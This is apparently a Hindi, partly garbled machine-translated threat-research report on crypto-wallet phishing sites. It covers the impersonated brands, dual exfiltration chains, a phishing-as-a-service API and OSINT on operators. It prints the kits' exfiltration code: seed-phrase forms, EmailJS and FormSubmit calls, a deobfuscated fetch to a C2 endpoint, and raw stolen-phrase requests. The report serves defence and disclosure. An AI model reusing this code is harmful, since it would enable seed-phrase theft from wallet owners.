भेषधारण

वॉलेट सत्यापन के लिए एक काल्पनिक "विकेंद्रीकृत प्रोटोकॉल"। विश्वसनीयता के लिए यह लाइव CryptoCompare प्राइस टिकर और वास्तविक ब्लॉकचेन एक्सप्लोरर्स (इथेरियम, BSC, पॉलीगॉन, एवलान्च, सोलैना, कार्डानो) के लिंक का उपयोग करता है। लैंडिंग पेज में 100+ वॉलेट लोगो और 3-चरणीय "प्रमाणीकरण" प्रक्रिया शामिल है।

द्वैध निकासी श्रृंखला

सबसे परिष्कृत बैकएंड 5 में से — हर चोरी की गई क्रेडेंशियल इसके माध्यम से भेजी जाती है दो स्वतंत्र चैनल एक साथ:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on [REDACTED]
  |      |
  |      +--> [REDACTED] Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

ओएसआईएनटी निष्कर्ष

भेषधारण

वास्तविक की एक पिक्सेल-परफेक्ट खरोंच एक्वालिब्रे (एक्ला) टोकन माइग्रेशन पृष्ठ। HTML में एक मेटाडेटा टैग है जो स्रोत प्रकट करता है: data-scrapbook-source="https://token.[REDACTED]/migration", 19 नवंबर, 2024 को समय-मुद्रित।

शून्य-कोड दृष्टिकोण

इस आक्रमणकारी को आवश्यकता है शून्य सर्वर-साइड कोड. फ़ॉर्म सीधे को पोस्ट करता है गैर-स्थिर — स्थिर साइटों के लिए एक वैध फॉर्म बैकएंड। हर सबमिशन को ठग के ईमेल पर भेज दिया जाता है। हमलावर का ईमेल है सोर्स कोड में कभी भी दिखाई नहीं देता.

<form action="https://forms.[REDACTED]/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

भेषधारण

सबडोमेन में " शामिल हैसेफपाल— का एक जानबूझकर किया गया गलत वर्तनीकरण सेफपाल, एक लोकप्रिय हार्डवेयर वॉलेट। साइट 26 नकली समस्या श्रेणियों के साथ "ब्लॉकचेन वॉलेट सुधार" के रूप में प्रस्तुत होती है। यह चेन नामों (इथेरियम, बीएससी, पॉलीगॉन...) को एनिमेट करने के लिए टाइप्ड.जेएस और विश्वसनीयता के लिए लाइवकॉइनवॉच टिकर का उपयोग करती है।

वही किट, वही ऑपरेटर?

का उपयोग करता है बिल्कुल वही फ़िशिंग टेम्पलेट साइट #2 के रूप में: समान connect.html, एकसमान wallets.html 60+ लोगो के साथ, वही अन-स्टैटिक बैकएंड (अलग फॉर्म आईडी — 6f1b82c3...da9943af). समान किट दृढ़ता से सुझाव देती है एक ऑपरेटर दोनों साइटें चला रहा है.

कोड में चेतावनी संकेत: "Privay Policy" (एक 'c' गायब), "seperated" (होना चाहिए "separated"), "Kestore" (एक 'y' गायब)। पासवर्ड फ़ील्ड का उपयोग करता है type="text" के बजाय type="password".

भेषधारण

के एक लगभग-परिपूर्ण क्लोन फ्लेयर नेटवर्क पोर्टल — एक वास्तविक लेयर-1 EVM ब्लॉकचेन, जिसमें FTSO और डेटा कनेक्टर प्रोटोकॉल शामिल हैं। यह 30+ इकोसिस्टम पार्टनर्स, नेविगेशन और ब्रांडिंग को प्रतिकृति करता है। फेविकॉन्स एक टाइपोस्क्वाट से लोड किए गए हैं: [REDACTED] (mainnet से एक 'n' गायब है)।

Dual EmailJS रिडंडेंसी

एकमात्र साइट जो उपयोग कर रही है एक साथ दो अलग-अलग EmailJS खाते हटाए जाने के खिलाफ अतिरिक्त सुरक्षा के लिए:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.[REDACTED]/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

हर चोरी के लिए ईमेल विषय: "New Wallet Details from Flare".

साइट #4: सशुल्क विज्ञापन, विश्लेषण ट्रैकिंग, और दोहरी निकासी — सबसे पेशेवर अभियान

भेषधारण

एक सामान्य "COIN NODE" / "Wallet Fix" सेवा (कोई विशिष्ट ब्रांड नहीं)। कॉपीराइट "Wallet Fix 2022" — यह किट टेम्पलेट कम से कम 4 साल पुराना है। छवियाँ होस्ट की गई हैं [REDACTED] (WordPress ऑन AWS).

फ़िशिंग-एज़-ए-सर्विस

सबसे चिंताजनक बैकएंड आर्किटेक्चर: एक यूयूआईडी-आधारित बहु-किरायेदार एपीआई:

POST https://api.[REDACTED]/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=[REDACTED]&type=phrase&phrase=buddy+surprise+vapor+river+...

प्रत्येक ठग को अपना स्वयं का UUID एंडपॉइंट मिलता है। एक केंद्रीय ऑपरेटर API का रखरखाव करता है, अभियानों पर नज़र रखता है, और संभवतः चोरी किए गए धन का एक हिस्सा लेता है। यह है औद्योगिकीकृत क्रिप्टो चोरी — एक फ़िशिंग-एज़-ए-सर्विस मॉडल।

संबंधित अवसंरचना (अधिकांशतः निष्क्रिय)

भेषधारण

A दोहरा अभियान: एक सामान्य "समर्थन केंद्र" पर [REDACTED] 15 नकली जारी श्रेणियों और 39 वॉलेट ब्रांडों के साथ, साथ ही एक पिक्सेल-परफेक्ट लेजर ऑनबोर्डिंग क्लोन पर [REDACTED]-recovery.support Replit पर होस्ट किया गया — डिवाइस मॉडल चयन, पिन सेटअप, और 24-शब्दों वाले सीड वाक्यांश ग्रिड के साथ वास्तविक BIP39 स्वतः-पूर्ति.

एंटी-स्कैनर C2 बैकएंड

वॉलेट सपोर्ट पेज चोरी किया गया डेटा को भेजता है [REDACTED]/log — क्लाउडफ्लेयर के पीछे एक कस्टम nginx/Ubuntu C2। बैकएंड जानबूझकर सभी GET अनुरोधों को ड्रॉप करता है (522 टाइमआउट लौटाता है), केवल POST पर प्रतिक्रिया करता है। इसका मतलब है कि URL स्कैनर, Google Safe Browsing क्रॉलर और सुरक्षा शोधकर्ता GET के साथ एंडपॉइंट को पिंग करने पर कुछ भी नहीं देखते — C2 निष्क्रिय प्रतीत होता है।

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.[REDACTED]",
  allowedWallets: ["[REDACTED]","solfare","[REDACTED]","[REDACTED]",
    "[REDACTED]","[REDACTED]","[REDACTED]","VARA Provisional License","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

लेजर क्लोन Replit पर ही एक अलग Express.js बैकएंड चलाता है: POST /api/recovery-phrase एकत्र करना {deviceId, pin, phrase}. यह लौटता है 400 {"error":"Invalid data provided"} खराब इनपुट पर — यह पुष्टि करते हुए कि बैकएंड है जीना और सक्रिय रूप से सत्यापित करना चोरी किया गया डेटा।

ओएसआईएनटी निष्कर्ष

भेषधारण

एक सामान्य "विकेंद्रीकृत लॉन्चपैड" के साथ 21 चारा श्रेणियाँ (स्टेकिंग, माइग्रेशन, केवाईसी, गिवअवे, पुरस्कार क्लेम, संपत्ति वसूली, प्री-सेल, एनएफटी मिंट, लॉक्ड खाते...) और 70+ वॉलेट ब्रांड्स — यह उन सबसे व्यापक वॉलेट सूचियों में से एक थी जिनका हमने सामना किया। स्पष्ट रूप से झलकने वाली टाइपो "Sychronize" (एक 'n' की कमी) नकली होने का भंडाफोड़ करती है।

फ़ॉर्मसबमिट Pipeline

उपयोग फ़ॉर्म सबमिट डॉट कॉ — एक वैध फॉर्म-से-ईमेल सेवा। एंडपॉइंट हैश a2cf4131f1a5d39453c7c183df96f86f यह ठग के ईमेल पते का MD5 है। हमने Gmail, Yahoo, Hotmail, ProtonMail, Yandex और [REDACTED] पर सैकड़ों ईमेल पैटर्न को ब्रूट-फोर्स किया — कोई मेल नहींठग एक असामान्य या यादृच्छिक रूप से उत्पन्न ईमेल का उपयोग करता है।

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

ओएसआईएनटी निष्कर्ष

भेषधारण

अज्ञात — फ्रंटएंड और बैकएंड दोनों ऑफ़लाइन हैं। पेलोड संरचना के आधार पर, यह एक क्रिप्टो वॉलेट सीड फ़्रेज़ स्टीलर था। क्लाउडफ्लेयर R2 सार्वजनिक बकेट (ऑब्जेक्ट स्टोरेज, पेज नहीं) एक है अच्छी तरह से प्रलेखित फ़िशिंग माध्यम 5,000+ दुर्भावनापूर्ण पृष्ठों की पहचान और Netskope द्वारा 61 गुना ट्रैफ़िक वृद्धि की सूचना के साथ।

स्क्रिप्ट किडी सेटअप

सबसे अधिक मूलभूत क्रिया इस संग्रह में। सीड वाक्यांश भेजे जाते हैं। शब्द-शब्द मुफ्त डायनामिक डीएनएस के पीछे एक होम कंप्यूटर या वीपीएस पर चलने वाली एक PHP स्क्रिप्ट:

POST [REDACTED]/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

ओएसआईएनटी निष्कर्ष